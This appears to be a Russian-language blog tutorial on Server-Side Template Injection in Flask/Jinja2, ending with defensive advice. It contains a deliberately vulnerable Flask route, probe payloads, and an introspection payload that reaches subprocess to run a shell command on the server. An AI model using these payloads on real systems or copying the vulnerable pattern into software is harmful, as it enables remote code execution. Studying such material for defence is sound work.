Магия SSTI: как через {{7*7}} добраться до удалённого выполнения кода
SSTI (Server-Side Template Injection) — одна из тех уязвимостей, которые кажутся игрушкой до первой эксплуатации. Ты пишешь пару символов в форму, получаешь вместо текста “49”, и только опытный глаз понимает: это не баг, это дверь в админку всей системы. Давай разберёмся, почему так, и как обычное выражение {{7*7}}
может превратиться в полноценный RCE.
Что такое SSTI
Веб-приложения часто используют шаблонизаторы: Jinja2, Twig, Velocity, Mako, Freemarker и десятки других. Они берут данные от программиста и подставляют их в HTML. Но если данные пользователя “прямо скормлены” шаблонизатору — получаем инъекцию.
Пример:
1 2 3 4 5 6 7 8 |
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def index(): name = request.args.get("name", "гость") return render_template_string("Привет, " + name) |
На вид — мило. Но если мы передадим ?name={{7*7}}
, движок Jinja2 выполнит умножение и вернёт Привет, 49
. Поздравляю, у тебя SSTI.
Первые шаги: математика и фильтры
Начинаем с “щупа”:
• {{7*7}}
→ 49
• {{'a' * 5}}
→ aaaaa
• {{[].__class__}}
→ класс объекта
Если сервер отвечает — у нас в руках язык шаблонизатора.
Из InfoLeak в RCE
На Jinja2 мы постепенно расширяем возможности:
1 |
{{ ''.__class__.__mro__ }} |
Даёт цепочку классов (mro), через которую можно выйти на subclasses()
.
Дальше:
1 |
{{ ''.__class__.__mro__[1].__subclasses__() }} |
Тут открывается полный список встроенных классов Python. Среди них находим subprocess.Popen
или аналоги. А отсюда и до системы:
1 2 |
{{ ''.__class__.__mro__[1].__subclasses__()[40]('id', shell=True, stdout=-1).communicate()[0].decode() }} |
Если видишь ответ uid=1000(www-data)
— игра пройдена, уязвимость перешла в RCE.
Почему это работает
Шаблонизатор задумывался как “простой язык” для HTML, но в действительности он имеет доступ к целому питоновскому окружению. Через introspection и обход фильтров можно раскрутить его в полноценный интерпретатор.
Как защищаться
• Никогда не подставлять пользовательский ввод прямо в шаблон.
• Использовать «чистую» передачу данных: render_template("index.html", name=name)
.
• Включать sandbox-режим, если шаблонизатор это поддерживает.
• Фильтровать/экранировать данные на входе.
Вывод{{7*7}}
— это не просто мемная проверка на SSTI, а сигнал к тому, что твой код под угрозой. Одно магическое выражение открывает путь к файловой системе, базе и удалённому контролю над сервером. Для пентестера — кайф. Для разработчика — кошмар.

На этом все. Всем хорошего дня!